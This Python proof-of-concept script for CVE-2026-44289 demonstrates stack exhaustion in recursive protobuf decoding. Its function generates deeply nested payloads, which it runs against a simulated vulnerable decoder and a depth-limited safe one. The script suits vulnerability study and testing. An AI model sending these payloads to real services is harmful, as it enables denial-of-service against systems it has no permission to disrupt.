#!/usr/bin/env python3 """ CVE-2026-44289 PoC - Uncontrolled Recursion in Protobuf Decoding Demonstrates stack exhaustion via deeply nested messages. """ import argparse import sys import struct from typing import Optional class VulnerableProtobufDecoder: """Simplified vulnerable recursive decoder (mirrors the CVE issue).""" def __init__(self, max_depth: int = 0): self.max_depth = max_depth # 0 = unlimited (vulnerable) def decode(self, data: bytes, depth: int = 0) -> dict: if self.max_depth > 0 and depth > self.max_depth: raise RecursionError("Maximum recursion depth exceeded (protected)") if depth > 1000: # Python default recursion limit is ~1000 raise RecursionError("Stack overflow simulated") result = {} i = 0 while i < len(data): # Read tag: field_number << 3 | wire_type tag = 0 shift = 0 while i < len(data): b = data[i] i += 1 tag |= (b & 0x7F) << shift shift += 7 if not (b & 0x80): break wire_type = tag & 7 field_number = tag >> 3 if wire_type == 2: # length-delimited (common for nested messages) length = 0 shift = 0 while i < len(data): b = data[i] i += 1 length |= (b & 0x7F) << shift shift += 7 if not (b & 0x80): break nested_data = data[i:i + length] i += length # Recursive call - this is the vulnerable part result[field_number] = self.decode(nested_data, depth + 1) else: # Skip other types for simplicity result[field_number] = f"wire_type_{wire_type}" return result def generate_deep_nested_payload(depth: int) -> bytes: """Generate a malicious deeply nested protobuf payload.""" payload = b'' for _ in range(depth): # Field 1, wire type 2 (length-delimited) payload = struct.pack("B", (1 << 3) | 2) + _encode_varint(len(payload)) + payload return payload def _encode_varint(value: int) -> bytes: """Simple varint encoding.""" parts = [] while True: parts.append((value & 0x7F) | 0x80) value >>= 7 if value == 0: parts[-1] &= 0x7F break return bytes(parts) def main(): parser = argparse.ArgumentParser( description="CVE-2026-44289 PoC - Protobuf uncontrolled recursion", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s --generate 5000 # Generate deep payload %(prog)s --decode --payload payload.bin --vulnerable %(prog)s --decode --payload payload.bin --safe """ ) parser.add_argument('--generate', type=int, metavar='DEPTH', help='Generate a deeply nested payload of given depth') parser.add_argument('--decode', action='store_true', help='Decode a payload (use with --payload)') parser.add_argument('--payload', type=str, default='payload.bin', help='Path to payload file (default: payload.bin)') parser.add_argument('--vulnerable', action='store_true', help='Use vulnerable decoder (no depth limit)') parser.add_argument('--safe', action='store_true', help='Use safe decoder with depth limit') parser.add_argument('--depth-limit', type=int, default=200, help='Max depth for safe decoder (default: 200)') args = parser.parse_args() if args.generate: print(f"[+] Generating payload with depth {args.generate}...") payload = generate_deep_nested_payload(args.generate) with open(args.payload, "wb") as f: f.write(payload) print(f"[+] Payload written to {args.payload} ({len(payload)} bytes)") print(f" This should trigger stack overflow in vulnerable decoders.") return if args.decode: try: with open(args.payload, "rb") as f: data = f.read() print(f"[+] Loaded payload: {len(data)} bytes") except FileNotFoundError: print(f"[-] Payload file not found: {args.payload}") return if args.vulnerable: print("[!] Using VULNERABLE decoder (unlimited recursion)") decoder = VulnerableProtobufDecoder(max_depth=0) try: result = decoder.decode(data) print("[+] Decoded successfully (vulnerable version)") except RecursionError as e: print(f"[!] Crashed as expected: {e}") except Exception as e: print(f"[!] Error: {e}") elif args.safe: print(f"[+] Using SAFE decoder (depth limit: {args.depth_limit})") decoder = VulnerableProtobufDecoder(max_depth=args.depth_limit) try: result = decoder.decode(data) print("[+] Decoded successfully (protected)") except RecursionError as e: print(f"[+] Protected: {e}") else: print("[-] Specify --vulnerable or --safe") return parser.print_help() if __name__ == "__main__": main()